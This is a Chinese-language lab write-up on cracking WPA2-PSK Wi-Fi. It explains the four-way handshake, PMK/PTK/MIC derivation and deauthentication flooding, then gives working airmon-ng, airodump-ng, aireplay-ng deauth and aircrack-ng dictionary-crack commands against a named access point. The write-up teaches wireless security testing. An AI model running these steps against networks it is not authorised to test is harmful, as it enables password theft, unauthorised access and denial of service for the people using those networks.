一、实验背景
在使用IEEE802.11b/g通信标准的无线网络中,广泛使用的无线网络加密协议主要包括WEP加密协议和WPA加密协议两种。其中WEP协议也称有限等效加密协议,这种协议目前已经有相当多的安全漏洞,使用改加密协议的无线数据信息很容易遭受攻击,已经基本被弃用,WPA协议也被称为WiFi保护访问协议,这种加密协议采用两种技术完成数据信息的加密传输,一种技术是临时密钥完整性技术,在该技术的支持下WPA加密协议使用128位密钥,同时对每一个数据包来说单击一次鼠标操作就能达到改变密钥的目的,该加密技术可以兼容目前的无线硬件设备以及WEP加密协议;另外一种技术就是可扩展认证技术,WPA加密协议在这种技术支持下能为无限用户提供更多安全、灵活的网络访问功能,同时这种协议要比WEP协议更安全、更高级。
因此,本实验目标既是对WPA2加密网络的探测和破解。
二、实验原理
无线终端接入网络的过程主要分成:扫描、认证、关联三个步骤。下图是客户端STA与路由AP之间的连接过程:
2.1 无线用户接入AP的过程
扫描:无线终端在加入网络之前,首先需要在所处区域搜索网络,搜索的方式即是通过主动扫描或被动扫描.
- 主动扫描:无线终端通过发送Probe Request帧来请求加入网络,AP收到无线终端发送的请求帧后,会发送Probe Respnse帧做出相应.
- 被动扫描:AP会定期向外广播Beacon帧(携带自身关联 的SSID),无线终端通过侦听Beacon帧来发现网络
认证:当无线终端收到AP的Probe Response帧,从候选AP中选择一个进行关联.在关联之前,需要及进行身份认证,身份认证包括开放系统认证和共享密钥认证.
- 认证过程:无线终端通过发生Authentication Request帧向指定AP请求认证;AP收到后会发送Authentcation Response帧做出相应.
关联:认证通过后,无线终端方可与指定AP建立关联
- 关联过程:无线终端发送association request帧向指定AP请求关联,AP收到后会发送association response帧做出回应.
四步握手:关联完成之后,STA与AP会进行四步握手协议交互过程.这个过程的目的是通过STA和AP都有的主秘钥,协商出一个对会话信息进行加密的会话密钥.我们破解WPA2加密的无线网络,主要是为了对这四步握手进行解析和暴力破解.
2.2 字典攻击
WPA-PSK安全体系是比较完善的.但始终是用一个密码保护的.一般情况下可以用字典攻击进行攻击.
我们平时说的WPA密码其实叫PSK(pre-shared key),长度一般是8-63字节,它加上ssid通过一定的算法可以得到PMK(pairwise master key)。PMK=SHA-1(ssid,psk) ,PMK的长度是定长的,都是64字节。由于计算PMK的过程开销比较大,是我们破解花费时间长的关键,所以采用以空间换时间的原则把PMK事先生成好,这个事先生成好的表就是常说的HASH表(生成PMK的算法是一种哈希),这个工作就是用airlib-ng这个工具来完成的,我们的快速破解就是这么来的。 **
认证的时候会生成一个PTK(pairwise temporary),这是一组密钥,具体细节不详细说了,它的生成方法也是采用的哈希,参数是连接的客户端MAC地址、AP的BSSID、A-NONCE、S-NONCE、PMK,其中A-NONCE和S-NONCE是两个随机数,确保每次连接都会生成不同的PTK。PTK的计算消耗很小。PTK加上报文数据采用一定的算法(AES或TKIP),得到密文,同时会得到一个签名,叫做MIC(message integrality check),tkip之所以被破解和这个mic有很大关系。四次握手包中含有以上的哪些东西呢?客户端的MAC地址,AP的BSSID,A-NONCE,S-NONE,MIC,最关键的PMK和PTK是不包含在握手包里的!**
认证的原理是在获得以上的所有参数后,客户端算出一个MIC,把原文连同MIC一起发给AP,AP采用相同的参数与算法计算出MIC,并与客户端发过来的比较,如果一致,则认证通过,否则失败。
目前的破解方法是我们获得握手包后,用我们字典中的PSK+ssid先生成PMK(如果有HASH表则略过),然后结合握手包中的(客户端MAC,AP的BSSID,A-NONCE,S-NONCE)计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥。 过程如图:
目前最耗时的就是算PMK,可谓破解的瓶颈。即使搞定了运算量的问题,海量的密钥存储也是个问题(PMK都是64字节长度)!
最近出来的tkiptun-ng只是可以解开使用tkip加密了的数据包,并不是说能够快速算出PMK或PSK。如果感兴趣,可以到书店看看讲哈希的书,说不定你把这些HASH算法都破解出来了。
2.3 取消身份验证攻击
在无线安全领域,有一种攻击方式叫做取消身份验证洪水攻击,也叫做验证阻断洪水攻击,通常被简称为Deauth攻击.这也是无线网络拒绝服务攻击的一种形式,它使用欺骗的方式,假冒AP通过向周围发送取消身份验证帧,将客户端转化为未关联且未认证的状态.对于目前广泛使用的无线客户端适配器工具来说,这种形式的攻击在打断客户端无线服务方面非常有效和快捷.正常情况下,攻击者发送一个取消身份验证帧,客户端断开与AP的连接之后,客户端还会尝试重新关联和验证以再次获取网络服务.但是攻击者可以通过反复发送取消身份验证帧的方法使所有客户端持续连接不上网络,以此实现无线网络拒绝服务.
三、实验目的
掌握WIFI爆破的方法
了解无线DDOS攻击的攻击原理,掌握攻击方法
四、实验内容
- 将网卡设置成监听模式
1 | airmon-ng start wlan0 |
- 监听周围的无线信号,得到待破解wifi的BSSID,ESSID,CH,便于下一步收集.
1 | airodump-ng wlan0mon |
可以看到我们要破解的wifi信息
1 | ESSID:TP-LINK_EE85 |
- 对特定wifi进行数据监听收集,以便得到四部握手数据包.输入命令对指定的数据包进行收集.
1 | airodump-ng --bssid B0:95:8E:5B:EE:85 -c 1 -w wifi.pkg wlan0mon |
- 针对已经连接的客户端,使用取消认证攻击,让客户端重新连接路由器,以便快速获取四部握手数据包,输入命令:
1
aireplay-ng -0 1 -a AP的mac地址 -c 客户端的mac地址 wlan0mon
很快客户端就掉线了.并获取到了WPA handshake,获取四步握手包.
- 运行aircrack-ng软件,使用字典对获取的四步握手包进行暴力破解.
1
2aircrack-ng -w 密码字典 四部握手包的数据包
aircrack-ng -w pass.txt wifi.pkg-01.cap
KEY FOUND后面得到的内容就是wifi密码,破解时间由字典的大小和密码的复杂度决定.